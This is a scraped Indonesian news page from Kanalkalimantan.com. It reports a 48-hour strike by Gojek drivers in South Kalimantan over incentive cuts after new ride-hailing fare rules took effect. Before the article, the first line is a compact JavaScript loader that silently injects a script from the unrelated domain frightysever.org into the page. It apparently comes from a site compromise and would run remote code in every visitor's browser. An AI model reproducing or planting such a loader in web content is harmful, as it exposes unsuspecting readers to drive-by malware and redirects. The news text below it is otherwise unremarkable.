(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Ratusan driver ojek online Gojek di Banjarmasin, Banjarbaru, dan Martapura, melakukan aksi mogok massal (off bid) selama 2 x 24 jam, mulai Sabtu (7/9). Protes tersebut dilakukan imbas dari pemotongan insentif yang diterima para driver.
Pada Jumat (6/9) lalu, beberapa perwakilan driver Gojek menemui manajemen Gojek di Jalan Ahmad Yani Kilometer 11 Gambut. Mereka mengeluhkan bonus insentif yang selama ini mereka dapatkan sebesar Rp 80 ribu, turun drastis hingga hanya Rp 45 ribu. Selain itu, meraka juga sebelumnya telah melayangkan surat ke manajemen yang meminta mengembalikan skema insentif lama.
Pemotongan insentif dari Rp 80 ribu menjadi Rp 45 ribu diberlakukan sejak Senin (2/9). Meski tarif minimum untuk customer (CS) naik dari Rp 4 ribu menjadi Rp 9 ribu, namun ada pemotongan lagi 20 persen. Sehingga hanya Rp 7.200 yang diberikan untuk driver. Sebelumnya, meski tarif untuk CS cuma Rp 4 ribu, tetapi pihak Gojek memberikan insentif dari Go-Pay senilai yang sama.
Yahya, salah satu driver Gojek yang dikonformasi Kanalkalimantan.com, Sabtu (9/7) melalui pesan Whatsapp mengatakan, mogok massal ratusan driver Gojek dari Banjarmasin, Banjarbaru dan Kabupaten Banjar, lantaran bonus yang mereka terima turun. “Iya sekarang bonusnya turun, dari Rp 80 ribu menjadi Rp45 ribu,” ungkapnya.
“Sebelumnya bila mencapai target 20 poin penghasilan Rp160 ribu per 10 orderan Go Food, sekarang cuma Rp125 ribu. Bedanya itu turun sebesar Rp 35 ribu saja,” tambah Yahya.
Driver Gojek lainnya, Alung juga memutuskan untuk mogok. “Iya betul. Banyak yang off. Sudah hambar (menarik) gojek, karena bonusnya turun,” ungkapnya.
Sejak Senin (2/9) lalu, pemerintah memberlakukan penyesuaian tarif baru untuk ojol se-Indonesia, yang tertuang pada Keputusan Menteri Perhubungan Nomor 348 tahun 2019 yang merupakan turunan atas Permenhub 12/2019. Tarif sendiri, diatur berdasarkan zonasi. Pulau Kalimantan termasuk dalam zona III, dengan tarif minimum Rp 7 ribu hingga Rp 10 ribu. Di Kalimantan Selatan sendiri berlaku tarif minimum Rp 9 ribu.
Meski tarif dinaikkan, pada kenyataan merugikan driver Gojek. Hal ini dikarenakan pihak manajemen melakukan banyak pemotongan insentif. (fikri)
KANALKALIMANTAN.COM, BANJARBARU - Nasib Tugu Adipura yang menjadi salah satu ikon Ibu Kota Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More
Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More
Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More
KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More
This website uses cookies.